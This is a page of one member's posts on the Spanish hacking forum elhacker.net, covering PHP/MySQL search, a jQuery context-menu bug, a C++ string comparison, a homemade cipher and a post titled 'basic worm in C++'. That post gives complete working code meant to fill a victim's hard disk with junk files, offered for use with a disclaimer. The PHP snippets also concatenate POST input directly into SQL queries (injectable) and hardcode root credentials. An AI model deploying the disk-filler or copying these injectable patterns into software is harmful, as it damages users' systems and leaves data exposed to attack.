elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6
1  Programación / PHP / Re: [ayuda] BD ¿cómo hacer una busqueda en BD en: 30 Noviembre 2016, 17:12 pm
Saludos https://foro.elhacker.net  ::) , ¿como puedo hacer que un buscador encuentre palabras de mi base de datos, desde dreamweaver?
si me pueden facilitar. gracias

El código con PHP sería el siguiente:

Código:
<?php

// conexión a la DB
$host = $_SERVER["HTTP_HOST"];
$user = "root";
$pass = "1234";
$database = "database";
mysql_connect($host, $user, $pass);
mysql_select_db($database);

// búsqueda en la DB en la columna "nombre", en la tabla "usuarios"
$buscar = $_POST["buscar"];
$sql = "SELECT * FROM `usuarios` WHERE `nombre` LIKE '%".$buscar."%'";
$query = mysql_query($sql);
while($data = mysql_fetch_assoc($query)){
    echo $data["nombre"]."<br>";
}
?>
2  Programación / Desarrollo Web / Problema con muestreo de DIVS con JQuery en: 30 Noviembre 2016, 15:22 pm
Hola gente, muy buenas tardes. Estoy desarrollando el nuevo sistema para la empresa en la que trabajo, y si bien tengo experiencia en JQuery y PHP, es la primera vez que tengo un problema con JQuery para programar un con contextmenu().

El problema radica en lo siguiente:
Tengo 2 árboles de directorios (rojo y azul). El árbol rojo contiene todos los archivos de un cliente, mientras que el árbol azul es algo así como una caja a donde un administrador puede pasar las cosas del árbol rojo hacia el azul para poder después facturarlas y cobrarle al cliente.

La cuestión es que no hay ni puede haber botones directos en pantalla para este tipo de cosas, sino que para pasar las cosas de un lado a otro, se maneja con el botón derecho del mouse.

Les dejo una imagen de muestra:




Qué sucede?, cuando quiero quitar un archivo de la caja azul, me aparece el mismo div que aparece cuando doy click derecho sobre la caja roja, y en realidad no debería suceder éso, sino que se tendría que mostrar otro div con otras opciones.

(Imagen de lo que sucede)



Finalmente, les dejo el código del archivo PHP.
Espero puedan darme una mano. Muchas gracias de antemano!

Código
  1. <?php
  2.  
  3.    if(!isset($_SESSION["session"])){
  4.        header("location: ../login.php");
  5.    }
  6.  
  7.    include("serverconfig.php");
  8.    include("detectar_archivo.php");
  9.  
  10.    $cliente_id = $_POST["cliente"];
  11.    $sql = "SELECT * FROM `usuarios` WHERE `id` LIKE ".$cliente_id;
  12.    $query = mysql_query($sql);
  13.    while($data = mysql_fetch_assoc($query)){
  14.     $nombre_cliente = $data["nombre"];
  15.    }
  16.  
  17.    function archivosCliente($cliente){
  18.     // BASE DE DATOS VIEJA
  19.    $sql = "SELECT * FROM `archivos` WHERE `usuario_id` LIKE ".$cliente." AND `deleted` LIKE '0' ORDER BY `tipo`";
  20.    $query = mysql_query($sql);
  21.    $last_folder = "";
  22.    while($data = mysql_fetch_assoc($query)){
  23.     if($last_folder != $data["tipo"]){
  24.     $last_folder = $data["tipo"];
  25.     echo '<div class="folder" folder-type="'.$data["tipo"].'" no-select><i class="fa fa-folder"></i>&nbsp; '.detectFile($data["tipo"])."</div>";
  26.     }
  27.     if($data["nombre"] == ""){$data["nombre"] = "Archivo ".$data["id"];}
  28.     echo '<div class="file" file-id="'.$data["id"].'" pdf="'.$data["path"].'" db-age="old" file-type="'.$data["tipo"].'" no-select><i class="fa fa-file"></i>&nbsp; '.$data["nombre"]."</div>";
  29.    }
  30.     // BASE DE DATOS NUEVA
  31.    $sql = "SELECT * FROM `archivos_pdf` WHERE `cliente_id` LIKE ".$cliente." AND `papelera` LIKE '0' ORDER BY `tipo`";
  32.    $query = mysql_query($sql);
  33.    $last_folder = "";
  34.    while($data = mysql_fetch_assoc($query)){
  35.     if($last_folder != $data["tipo"]){
  36.     $last_folder = $data["tipo"];
  37.     echo '<div class="folder" folder-type="'.$data["tipo"].'" no-select><i class="fa fa-folder"></i>&nbsp; '.detectFile($data["tipo"])."</div>";
  38.     }
  39.     if($data["nro_expediente"] == ""){$data["nro_expediente"] = "Archivo ".$data["id"];}
  40.     echo '<div class="file" file-id="'.$data["id"].'" pdf="'.$data["pdf"].'" db-age="new" file-type="'.$data["tipo"].'" no-select><i class="fa fa-file"></i>&nbsp; '.$data["nro_expediente"]."</div>";
  41.    }
  42.    }
  43. ?>
  44.  
  45. <style type="text/css">
  46. [no-select] {
  47. -webkit-user-select: none;
  48. -khtml-user-select: none;
  49. -moz-user-select: none;
  50. -o-user-select: none;
  51. user-select: none;
  52. }
  53. .toggle-tips {
  54. cursor: pointer;
  55. margin: 0px 20px 25px;
  56. padding: 10px;
  57. box-sizing: border-box;
  58. transition-duration: 0.25s;
  59. }
  60. .toggle-tips:hover {
  61. background: #ececec;
  62. }
  63. .toggle-tips:active {
  64. transition-duration: 0s;
  65. background: #659be0;
  66. color: #fff;
  67. }
  68. .toggle-tips:active i {
  69. color: #fff;
  70. }
  71. .fa-exclamation-circle {
  72. color: #659be0;
  73. }
  74. .archivos-cliente .portlet-body, .archivos-ot .portlet-body {
  75. height: 300px;
  76. max-height: 300px;
  77. overflow-y: auto;
  78. }
  79. .folder i {
  80. color: #F1C40F;
  81. }
  82. .file i {
  83. margin-left: 20px;
  84. color: #659be0;
  85. }
  86. .ot-tree .file i {
  87. color: #e7505a;
  88. }
  89. .file {
  90. cursor: pointer;
  91. display: none;
  92. }
  93. .folder, .file {
  94. cursor: pointer;
  95. padding: 10px;
  96. font-size: 18px;
  97. transition-duration: 0.25s;
  98. }
  99. .folder:hover {
  100. background: #ececec;
  101. }
  102. .context-cliente, .context-ot {
  103. z-index: 9994;
  104. cursor: pointer;
  105. display: none;
  106. position: absolute;
  107. padding: 0px;
  108. background: #000;
  109. box-shadow: 0px 10px 35px 0px rgba(0,0,0,.65);
  110. }
  111. .context-cliente .opt, .context-ot .opt {
  112. padding: 10px;
  113. box-sizing: border-box;
  114. width: 250px;
  115. color: #fff;
  116. background: #111;
  117. }
  118. .context-cliente .opt:hover, .context-ot .opt:hover {
  119. transition-duration: 0.25s;
  120. background: #88a22a;
  121. }
  122. .context-cliente .opt:active, .context-ot .opt:active {
  123. transition-duration: 0s;
  124. background: #fff;
  125. color: #88a22a;
  126. }
  127. [author] {
  128. font-size: 13px;
  129. font-style: italic;
  130. color: rgba(0,0,0,.45);
  131. }
  132. </style>
  133.  
  134. <script type="text/javascript">
  135. $(function(){
  136. function unselectFiles(){
  137. $(".file").removeAttr("file-active");
  138. $(".file").css({
  139. "background" : "none"
  140. });
  141. }
  142. $(".toggle-tips").on("click", function(){
  143. $(".note-success").show();
  144. $(this).hide();
  145. });
  146. $(".note-success").on("click", function(){
  147. $(".toggle-tips").show();
  148. $(this).hide();
  149. });
  150. var folder = 0;
  151. $(".folder").on("click", function(){
  152. var type = $(this).attr("folder-type");
  153. $(".archivos-cliente .file[file-type="+type+"]").toggle();
  154. });
  155. $(".file").on("mouseover", function(){
  156. if($(this).attr("file-active") != 1){
  157. $(this).css({
  158. "background" : "#ececec"
  159. });
  160. }
  161. });
  162. $(".file").on("mouseleave", function(){
  163. if($(this).attr("file-active") != 1){
  164. $(this).css({
  165. "background" : "none"
  166. });
  167. }
  168. });
  169. $("html").click(function(){
  170. unselectFiles();
  171. $(".context-cliente, .context-ot").hide();
  172. $(".file").removeAttr("file-active");
  173. });
  174. $(".file").contextmenu(function(e){
  175. unselectFiles();
  176. $(this).attr("file-active","1");
  177. $(".buffer-temp").html("");
  178. $(this).css({
  179. "background" : "#ececec"
  180. });
  181. });
  182. $(".archivos-cliente .file").contextmenu(function(e){
  183. $(".context-ot").css({
  184. "display" : "none"
  185. });
  186. $(".context-cliente").css({
  187. "display" : "block",
  188. "left" : + e.pageX + 2 + "px",
  189. "top" : + e.pageY - 50 + "px"
  190. });
  191. });
  192. $(".archivos-ot .file").contextmenu(function(e){
  193. $(".context-cliente").css({
  194. "display" : "none"
  195. });
  196. $(".context-ot").css({
  197. "display" : "block",
  198. "left" : + e.pageX + 2 + "px",
  199. "top" : + e.pageY - 50 + "px"
  200. });
  201. });
  202. $(".opt-add").on("click", function(){
  203. $(".archivos-cliente .file[file-active]").appendTo(".buffer-temp");
  204. var user = $(".username").text().trim();
  205. $(".buffer-temp .file").append('&nbsp;<span author="' + user + '">(' + user + ")</span>");
  206. $(".buffer-temp .file").appendTo(".ot-tree");
  207. $(".buffer-temp").html("");
  208. unselectFiles();
  209. });
  210. });
  211. </script>
  212.  
  213. <div class="buffer-temp" hidden="hidden"></div>
  214.  
  215. <div class="toggle-tips" no-select><i class="fa fa-exclamation-circle"></i>&nbsp; Ver tips informativos...</div>
  216.  
  217. <div class="context-cliente" no-select><div class="opt opt-read">Ver Archivo</div><div class="opt opt-add">Agregar a Orden de Trabajo</div></div>
  218.  
  219. <div class="context-ot" no-select><div class="opt opt-read">Ver Archivo</div><div class="opt opt-remove">Quitar de Orden de Trabajo</div></div>
  220.  
  221. <div class="row" style="padding: 0px 20px 0px 20px;">
  222.  
  223. <div class="note note-success" hidden="hidden" style="cursor: pointer; margin: 0px 15px 20px 15px;">
  224. <p><b>&bullet;</b> Para <u>ver el archivo anexado</u>, haga <b>Click Derecho</b> sobre &nbsp;<i class="fa fa-file"></i>&nbsp; y a continuaci&oacute;n pulse la opci&oacute;n <b>Ver Archivo</b>.</p>
  225. <p><b>&bullet;</b> Para <u>pasar un archivo</u> a la orden de trabajo, haga <b>Click Derecho</b> sobre &nbsp;<i class="fa fa-file"></i>&nbsp; y a continuaci&oacute;n pulse la opci&oacute;n <b>Agregar a Orden de Trabajo</b>.</p>
  226. <p><b>&bullet;</b> Para <u>quitar un archivo</u> de la orden de trabajo, haga <b>Click Derecho</b> sobre &nbsp;<i class="fa fa-file"></i>&nbsp; y a continuaci&oacute;n pulse la opci&oacute;n <b>Quitar de Orden de Trabajo</b>.</p>
  227. </div>
  228.  
  229. <!-- ARCHIVOS DE CLIENTE -->
  230. <div class="col-md-6 archivos-cliente" height="300px">
  231.    <div class="portlet red box">
  232.        <div class="portlet-title">
  233.            <div class="caption">
  234.                Archivos de <?php echo $nombre_cliente;?>
  235.            </div>
  236.        </div>
  237.        <div class="portlet-body">
  238.            <?php archivosCliente($cliente_id);?>
  239.        </div>
  240.    </div>
  241. </div>
  242.  
  243. <!-- ARCHIVOS DE OT -->
  244. <div class="col-md-6 archivos-ot">
  245.    <div class="portlet blue-madison box">
  246.        <div class="portlet-title">
  247.            <div class="caption">
  248.                Contenido de Orden de Trabajo
  249.            </div>
  250.        </div>
  251.        <div class="portlet-body ot-tree">
  252.         <!-- ARCHIVOS AGREGADOS A ORDENES DE OT -->
  253.        </div>
  254.    </div>
  255. </div>
  256.  
  257. </div>

MOD: Imágenes adpatadas a lo permitido.
3  Programación / Programación C/C++ / Re: Comparar valores String o Char [C++] en: 16 Noviembre 2014, 12:43 pm
Qué ironía, empezó siendo un aporte, y terminó siendo una solución fomentada.
Borré el DevCpp, instalé el Code::Blocks y no tuve más problemas al compilar.

Gracias por tu solución zShackra!
4  Programación / Programación C/C++ / Re: Comparar valores String o Char [C++] en: 16 Noviembre 2014, 04:29 am
Probé el Visual Studio y me resultó incómodo, el Qt Creator no lo tenía conocido y acerca del Code::Blocks, oí muchas notas positivas al respecto, pero nunca lo probé.
5  Programación / Programación C/C++ / Re: Comparar valores String o Char [C++] en: 16 Noviembre 2014, 02:58 am
A veces cuando quiero hacer algún código, el compilador me tira error, entonces tengo que buscar una manera alterna de hacer las cosas. Debe ser un error de instalación de las librerías o algo así posiblemente.
6  Programación / Programación C/C++ / Re: Comparar valores String o Char [C++] en: 16 Noviembre 2014, 02:29 am
El problema es que cuando quise hacerlo de manera directa, el compilador me tiraba error y no me dejaba compilarlo, entonces tuve que hacer de manera obligada, la función "strchk" (utilizo devcpp).
7  Programación / Programación C/C++ / Comparar valores String o Char [C++] en: 15 Noviembre 2014, 06:35 am
Hace unos días estaba haciendo una apliación en la que necesitaba en cierta parte del proceso, comparar una variable tipo string con una variable tipo char tanto en tamaño como en valor, pero no debía usar sentencias for ni while. Así y entonces, desarrollé esta pequeña función que quizá le pueda ser útil a aquellos que recién empiezan.

Código
  1. #include <cstring>
  2.  
  3. bool strchk(string a, string b){
  4. if(a.size() == b.size() && a == b){
  5. return 1;
  6. } return 0;
  7. }

La forma de uso sería la siguiente...

Código
  1. #include <iostream>
  2. #include <cstring>
  3. using namespace std;
  4.  
  5. bool strchk(string a, string b){
  6. if(a.size() == b.size() && a == b){
  7. return 1;
  8. } return 0;
  9. }
  10.  
  11. int main(int argc, char *argv[]){
  12. if(strchk(argv[1], argv[2]) == 1){
  13. cout << "Son iguales";
  14. } else {
  15. cout << "Son desiguales";
  16. }
  17. }

En una consola de comandos se ejecutaría de la siguiente manera...

Código
  1. app.exe texto texto
  2. Son iguales
  3.  
  4. app.exe texto palabra
  5. Son desiguales

Si modificamos un poco el main, podemos usarlo para crear un sistema de inicio de sesión (por ejemplo).

Código
  1. #include <iostream>
  2. #include <cstring>
  3. using namespace std;
  4.  
  5. bool strchk(string a, string b){
  6. if(a.size() == b.size() && a == b){
  7. return 1;
  8. } return 0;
  9. }
  10.  
  11. int main(int argc, char *argv[]){
  12. char pwd[9] = "1a2b3c4d";
  13. if(strchk(argv[1], pwd) == 1){
  14. cout << "La clave es correcta";
  15. } else {
  16. cout << "La clave es incorrecta";
  17. }
  18. }
8  Programación / Programación C/C++ / Gusano básico en C++ en: 24 Octubre 2014, 07:21 am
Hola gente, hace mucho no publicaba en este foro y era debido a la falta de tiempo. Hoy decidí publicar un pequeño código que armé en C++ que básicamente lo que hace es crear una cantidad enorme de archivos txt cuyos datos internos son datos para ocupar espacio en el hdisk de la pc víctima.

Los archivos van del 0.txt al 999999999999999999999.txt y dentro de cada archivo se aloja una cadena de datos que van desde el 00:00:00 hasta el 99:99:99 más un agregado de datos modificables.

Haciendo los cálculos, en 24 horas se generan un total de 996 GB de archivos basura, es decir, casi 1 TB.

Código:
#include <fstream>
#include <stdlib.h>
#include <string.h>

using namespace std;

int main(){
int nfile = 0;
char hckr[40] = "spk";

while(true){
char fname[24];
itoa(nfile, fname, 10);
strcat(fname, ".txt");
ifstream fseek(fname);

int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}

fo << "# data [" << a << b << ":" << c << d << ":" << e << f << "] " << hckr << "\n";
}

fo.close();
} else {
fseek.close();
}

nfile++;
}
}

No sé si definirlo exactamente como un gusano ya que si bien no se duplica a sí mismo ni tampoco se propaga mediante p2p ni nada por el estilo, pero sí tiene la función afectar por lo menos a una parte específica de la pc.

Espero que les sirva de algo el código, y cualquier duda, me preguntan.

PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.
9  Seguridad Informática / Seguridad / Re: Conectar igualdad Netbook en: 19 Abril 2014, 01:12 am
Hola qué tal, las netbooks de conectar igualdad, se deben desbloquear jumpeando una parte específica debajo de la RAM, pero es peligroso, porque si lo hiciste mal, chau netbook.
10  Seguridad Informática / Seguridad / Método de cifrado [creación propia] en: 21 Febrero 2014, 02:33 am
Hola gente, quería compartir con uds. un sistema de cifrado alfanumérico que terminé de crear hace más o menos una hora; lo llamo "Método SPK" (debido a la abreviación de mi segundo alias: Spaktlit). Me basé en el algoritmo de la máquina de Arthur Scherbius.

Espero que les guste; cualquier comentario será bien recibido.

Primero les dejo las tablas de valores y el algoritmo, luego les dejo un par de ejemplos para que vean como funciona.

Código:
TABLA DE VALORES

A  B  C  D  E  F    10 11 12 13 14 15
G  H  I  J  K  L    16 17 18 19 20 21
M  N  O  P  Q  R    22 23 24 25 26 27
S  T  U  V  W  X    28 29 30 31 32 33
Y  Z  0  1  2  3    34 35 36 37 38 39
4  5  6  7  8  9    40 41 42 43 44 45

Código:
BLOQUES DE DATOS

0  1  2  3      R  P  K  C
4  5  6  7      B  Q  D  N
8  9  A  B      X  Z  F  T

Nota:
Si la suma de los dígitos del valor numérico del caracter a cifrar
es equivalente a 10, entonces vale 0,
si da 11, es equivalente a A,
si da 12, es equivalente a B.

Código:
ALGORITMO DE CIFRADO

i = 0
data = (v[n1] + v[n2])
   ? = :v < 50 = (:i < 1 = 3, :i > 0 = -3, v = b),
       :v < 40 = (i+4, v = b),
       :v < 30 = (:i < 1 = 1, :i > 0 = -1, v = b),
       :v < 20 = (i+2, v = b)

Explicación de la suma de valores:
El valor del dato a cifrar es el resultado de la suma entre el primer y último dígito del valor numérico del caracter a cifrar.

Explicación de la variable i:
Si el valor numérico del caracter a crifrar
es menor a 50 (entre 40 y 49), i equivale a 3 si esta es 0, sino resta 3,
si es menor a 40 (entre 30 y 39), se suma 4 a i,
si es menor a 30 (entre 20 y 29), i equivale a 1 si esta es 0, sino resta 1,
si es menor a 20 (entre 10 y 19), se suma 2 a i.

Glosario:
i = variable para eludir repetición de valores
data = texto a cifrar
v = valor numérico del caracter a cifrar
n1 = primer dígito numérico del caracter a cifrar
n2 = segundo dígito numérico del caracter a cifrar
b = bloque de datos

Código:
EJEMPLOS

i = 0, 1, 0, 1
SPK = 28, 25, 20
  ? = (2 + 8), (2 + 5), (2 + 0)
  ? = 1(0), 0(7), 1(2)
  ? = 1R0N1K

i = 0, 2, 1, 0, 2, 1, 5, 4, 6, 5
HOLA MUNDO = 17, 24, 21, 10, 22, 30, 23, 13, 24
? = (1 + 7), (2+4), (2 + 1), (1 + 0), (2 + 2), (3 + 0), (2 + 3), (1 + 3), (2 + 4)
? = 2(8), 1(6), 0(3), 2(1), 1(4), 5(3), 4(5), 6(4), 5(6)
? = 2X1D0C2P1B5C4Q6B5D
Páginas: [1] 2 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines